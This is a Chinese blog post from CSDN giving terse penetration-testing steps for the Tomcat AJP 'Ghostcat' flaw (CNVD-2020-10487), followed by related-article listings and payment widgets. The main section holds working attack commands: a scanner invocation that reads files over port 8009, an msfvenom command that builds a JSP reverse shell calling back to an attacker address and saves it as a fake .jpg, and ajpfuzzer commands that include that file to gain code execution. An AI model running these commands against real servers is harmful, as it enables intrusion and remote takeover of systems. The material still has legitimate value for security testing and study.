WEB渗透-TomcatAjp之LFI&RCE

已于 2024-08-12 17:40:14 修改
阅读量155 收藏 4
点赞数 2
分类专栏： 渗透测试 文章标签： WEB渗透 渗透测试 网络安全 WEB安全
于 2024-08-12 14:28:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_59468567/article/details/141130543
版权 
LFI
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
>python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass

image

配合目标文件上传传入服务器

RCE
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg

image

>java -jar ajpfuzzer_v0.6.jar
>connect 192.168.0.110 8009
>forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"

image

Pluto－2003
关注
  • 2
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
CNVD-2020-10487-Tomcat-Ajp-lfi
haha1314的博客
04-22 1312
#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: ret...
WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计
m0_65336233的博客
10-17 1338
WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计
WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
siu~
09-07 238
1、文件包含-原理&分类&危害-LFI&RFI 2、文件包含-利用-黑白盒&无文件&伪协议
bugku--web---baby lfi
2201_75556700的博客
06-11 225
5、构造url:/?3、构造url:/?2、页面提示使用language参数。4、这里提示包含关键的文件。
BugKu CTF（Web）：sqli-0x1 & baby lfi & baby lfi 2
Flag少侠的博客
05-10 1602
BugKu是一个由乌云知识库（wooyun.org）推出的在线漏洞靶场。乌云知识库是一个致力于收集、整理和分享互联网安全漏洞信息的社区平台。BugKu旨在提供一个实践和学习网络安全的平台，供安全爱好者和渗透测试人员进行挑战和练习。它包含了各种不同类型的漏洞场景，如Web漏洞、系统漏洞、密码学等，参与者需要通过解决这些漏洞来获取Flag。
文件包含一-WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
zyw268的博客
03-23 311
黑盒利用-VULWEB-有无包含文件。白盒利用-CTFSHOW-伪协议玩法。文件包含-原理&分类&利用&修复。
服务安全-中间件-Apache&Tomcat&Nginx
m0_65336233的博客
11-09 1280
简单讲解中间价-Apache&Tomcat&Nginx漏洞
利用php代码实现,利用PHP代码实现LFI2RCE
weixin_39963819的博客
03-25 162
之前曾写过一篇博文《LFI2RCE思路》：http://riusksk.blogbus.com/logs/34781127.html，本文主要是利用PHP代码来实现LFI2RCE，主要是看了《hack in zine》杂志之后学到的，这里顺便记录一下，但所使用的方法依然是上一博文中eb649e3928XkBK0p所提到的，即利用服务器上的相关记录文件来实现LFI2RCE。在HIZ杂志中所用到的函数...
LFI TO RCE之pearcmd.php的妙用
Aiwin的博客
10-10 2455
LFI TO RCE之pearcmd.php的妙用及NewStarCTF IncludeTwo例题
CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner:CNVD-2020-10487 CVE-2020-1938，扫描仪工具
03-20
python2多线程扫描Tomcat-Ajp协议文件重新定义 刷src分狗的福利poc扩大 poc作者不是本人！！！！ 操作 1，将需要扫描的域名/ ip放于ip.txt ip.txt中不需要加协议，某种 ...拿到CNVD-2020-10487-Tomcat-Ajp-lfi.py测
Tomcat-Ajp-lfi_python_
10-01
3. **Local File Inclusion（LFI）漏洞**：LFI漏洞通常出现在Web应用中，允许攻击者通过用户输入来控制服务器加载本地文件。如果成功利用，攻击者可获取服务器敏感信息，甚至完全控制系统。 4. **Python在安全测试...
CNVD-2020-10487-Tomcat-Ajp-lfi_exp_
09-29
CNVD-2020-10487-Tomcat-Ajp-lfi
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8379
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
VS2010旗舰版VB.NET版本视频剪辑源代码QZQ-2024-8-11 -简化版.zip
08-11
VS2010旗舰版VB.NET版本视频剪辑源代码QZQ-2024-8-11 -简化版.zip
来自我大二的课程实验-os实验一
最新发布
08-11
来自我大二的课程实验-os实验一
微信小程序设计同城黑卡小程序源代码+部署教程完美运行版.7z
08-11
经导师精心指导并认可、获 98 分的毕业设计项目！【项目资源】：微信小程序。【项目说明】：聚焦计算机相关专业毕设及实战操练，可作课程设计与期末大作业，含全部源码，能直用于毕设，经严格调试，运行有保障！【项目服务】：有任何使用上的问题，欢迎随时与博主沟通，博主会及时解答。 经导师精心指导并认可、获 98 分的毕业设计项目！【项目资源】：微信小程序。【项目说明】：聚焦计算机相关专业毕设及实战操练，可作课程设计与期末大作业，含全部源码，能直用于毕设，经严格调试，运行有保障！【项目服务】：有任何使用上的问题，欢迎随时与博主沟通，博主会及时解答。 经导师精心指导并认可、获 98 分的毕业设计项目！【项目资源】：微信小程序。【项目说明】：聚焦计算机相关专业毕设及实战操练，可作课程设计与期末大作业，含全部源码，能直用于毕设，经严格调试，运行有保障！【项目服务】：有任何使用上的问题，欢迎随时与博主沟通，博主会及时解答。 经导师精心指导并认可、获 98 分的毕业设计项目！【项目资源】：微信小程序。【项目说明】：聚焦计算机相关专业毕设及实战操练，可作课程设计与期末大作业，含全部源码，能直用于毕设，经严格调试，运行有保障！【项目服务】：有任何使用上的问题，欢迎随时与博主沟通，博主会及时解答。
打印出所有的"水仙花数(narcissus number)，所谓"水仙花数"是指一个三位数，其各位数字立方和等于该数本身 例如
08-11
题目：打印出所有的"水仙花数(narcissus number)“，所谓"水仙花数"是指一个三位数，其各位数字立方和等于该数本身。例如：153是一个"水仙花数”，因为153=1的三次方＋5的三次方＋3的三次方。 逻辑：利用for循环控制100-999个数，每个数分解出个位，十位，百位。 扩展：水仙花数（Narcissistic number）也被称为超完全数字不变数（pluperfect digital invariant, PPDI）、自恋数、自幂数、阿姆斯壮数或阿姆斯特朗数（Armstrong number），水仙花数是指一个 3 位数，它的每个位上的数字的 3次幂之和等于它本身（例如：1^3 + 5^3+ 3^3 = 153）
cnvd-2020-10487-tomcat-ajp-lfi
10-21
cnvd-2020-10487-tomcat-ajp-lfi是一种利用Tomcat中Apache JServ协议（AJP）的本地文件包含（LFI）漏洞。该漏洞允许攻击者在服务器上执行任意的文件读取和执行操作，从而可能导致敏感信息泄露、甚至服务器完全受控。 攻击者可以通过将恶意的AJP请求发送到Tomcat服务器的8009端口来利用该漏洞。这些请求可以指定要读取的文件路径。由于Tomcat默认配置下AJP协议启用且未进行适当的安全限制，攻击者可以通过这个漏洞读取和执行服务器上的任意文件。 为了防止受到cnvd-2020-10487-tomcat-ajp-lfi漏洞的攻击，可以采取以下措施： 1. 禁用或限制AJPS协议的使用：可以通过修改Tomcat的配置文件来禁用或限制AJPS协议的使用。将AJP协议暴露在公共网络上可能会使服务器容易受到攻击。 2. 更新Tomcat版本：及时安装Tomcat的安全更新和补丁，以保持服务器的安全性和稳定性。 3. 配置Tomcat访问控制：通过配置Tomcat的访问控制策略，限制外部访问与敏感文件相关的路径。 4. 使用防火墙和入侵检测系统（IDS）：配置防火墙和IDS以监控和检测异常的网络活动，并及时阻止和警示可疑的AJP请求。 5. 最小权限原则：确保服务器上的所有账户和进程都具有最小权限。这样，即使攻击者成功利用了漏洞，也能够最大限度地减小攻击的影响范围。 综上所述，cnvd-2020-10487-tomcat-ajp-lfi是一种危险的漏洞，但通过采取适当的防护措施，我们可以提高服务器的安全性，避免受到该漏洞的攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pluto－2003

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值